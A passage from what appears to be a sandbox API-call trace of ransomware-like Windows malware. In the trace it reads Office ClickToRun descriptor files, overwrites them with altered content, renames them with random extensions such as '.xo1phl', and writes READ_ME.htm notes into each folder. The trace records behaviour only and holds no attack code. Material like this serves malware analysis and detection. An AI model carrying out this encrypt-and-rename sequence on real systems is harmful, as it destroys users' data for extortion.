lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0137.185] SetErrorMode (uMode=0x1) returned 0x0 [0137.185] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.186] GetFileType (hFile=0x1d0) returned 0x1 [0137.187] SetErrorMode (uMode=0x0) returned 0x1 [0137.187] GetFileType (hFile=0x1d0) returned 0x1 [0137.187] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x5765 [0137.187] ReadFile (in: hFile=0x1d0, lpBuffer=0x290fb20, nNumberOfBytesToRead=0x5765, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x290fb20*, lpNumberOfBytesRead=0x21d358*=0x5765, lpOverlapped=0x0) returned 1 [0137.210] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0137.210] SetErrorMode (uMode=0x1) returned 0x0 [0137.211] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.212] GetFileType (hFile=0x1d0) returned 0x1 [0137.212] SetErrorMode (uMode=0x0) returned 0x1 [0137.212] GetFileType (hFile=0x1d0) returned 0x1 [0137.212] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0ae70*, nNumberOfBytesToWrite=0x5770, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2a0ae70*, lpNumberOfBytesWritten=0x21d3d8*=0x5770, lpOverlapped=0x0) returned 1 [0137.214] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0137.215] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml.xo1phl", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml.xo1phl", lpFilePart=0x0) returned 0x73 [0137.215] SetErrorMode (uMode=0x1) returned 0x0 [0137.215] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\masterdescriptor.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5770)) returned 1 [0137.215] SetErrorMode (uMode=0x0) returned 0x1 [0137.215] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\MasterDescriptor.en-us.xml.xo1phl" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\masterdescriptor.en-us.xml.xo1phl")) returned 1 [0137.217] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\READ_ME.htm", lpFilePart=0x0) returned 0x5d [0137.217] SetErrorMode (uMode=0x1) returned 0x0 [0137.217] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.217] GetFileType (hFile=0x1d0) returned 0x1 [0137.218] SetErrorMode (uMode=0x0) returned 0x1 [0137.218] GetFileType (hFile=0x1d0) returned 0x1 [0137.218] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a14a08*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2a14a08*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0137.219] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16", lpFilePart=0x0) returned 0x52 [0137.220] SetErrorMode (uMode=0x1) returned 0x0 [0137.220] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0137.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0137.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0137.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0137.222] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.223] SetErrorMode (uMode=0x0) returned 0x1 [0137.223] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16", lpFilePart=0x0) returned 0x52 [0137.223] SetErrorMode (uMode=0x1) returned 0x0 [0137.223] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.224] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.224] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0137.225] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0137.225] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0137.225] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0137.225] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.226] SetErrorMode (uMode=0x0) returned 0x1 [0137.226] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0137.226] SetErrorMode (uMode=0x1) returned 0x0 [0137.226] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.228] GetFileType (hFile=0x1d0) returned 0x1 [0137.228] SetErrorMode (uMode=0x0) returned 0x1 [0137.228] GetFileType (hFile=0x1d0) returned 0x1 [0137.228] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x5220 [0137.228] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a18320, nNumberOfBytesToRead=0x5220, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2a18320*, lpNumberOfBytesRead=0x21d358*=0x5220, lpOverlapped=0x0) returned 1 [0137.349] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0137.349] SetErrorMode (uMode=0x1) returned 0x0 [0137.349] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.351] GetFileType (hFile=0x1d0) returned 0x1 [0137.351] SetErrorMode (uMode=0x0) returned 0x1 [0137.351] GetFileType (hFile=0x1d0) returned 0x1 [0137.351] WriteFile (in: hFile=0x1d0, lpBuffer=0x2922038*, nNumberOfBytesToWrite=0x5230, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2922038*, lpNumberOfBytesWritten=0x21d3d8*=0x5230, lpOverlapped=0x0) returned 1 [0137.353] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0137.354] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml.3rvlpy", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml.3rvlpy", lpFilePart=0x0) returned 0x75 [0137.354] SetErrorMode (uMode=0x1) returned 0x0 [0137.354] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5230)) returned 1 [0137.354] SetErrorMode (uMode=0x0) returned 0x1 [0137.355] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\MasterDescriptor.x-none.xml.3rvlpy" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\masterdescriptor.x-none.xml.3rvlpy")) returned 1 [0137.357] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0137.357] SetErrorMode (uMode=0x1) returned 0x0 [0137.357] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.358] GetFileType (hFile=0x1d0) returned 0x1 [0137.358] SetErrorMode (uMode=0x0) returned 0x1 [0137.358] GetFileType (hFile=0x1d0) returned 0x1 [0137.358] WriteFile (in: hFile=0x1d0, lpBuffer=0x292b6a0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x292b6a0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0137.359] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0137.359] SetErrorMode (uMode=0x1) returned 0x0 [0137.359] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.360] GetFileType (hFile=0x1d0) returned 0x1 [0137.360] SetErrorMode (uMode=0x0) returned 0x1 [0137.360] GetFileType (hFile=0x1d0) returned 0x1 [0137.360] WriteFile (in: hFile=0x1d0, lpBuffer=0x292fcc0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x292fcc0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0137.361] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x2f [0137.361] SetErrorMode (uMode=0x1) returned 0x0 [0137.362] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.362] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.363] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0137.363] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0137.363] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0137.363] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.363] SetErrorMode (uMode=0x0) returned 0x1 [0137.363] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x2f [0137.364] SetErrorMode (uMode=0x1) returned 0x0 [0137.364] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, 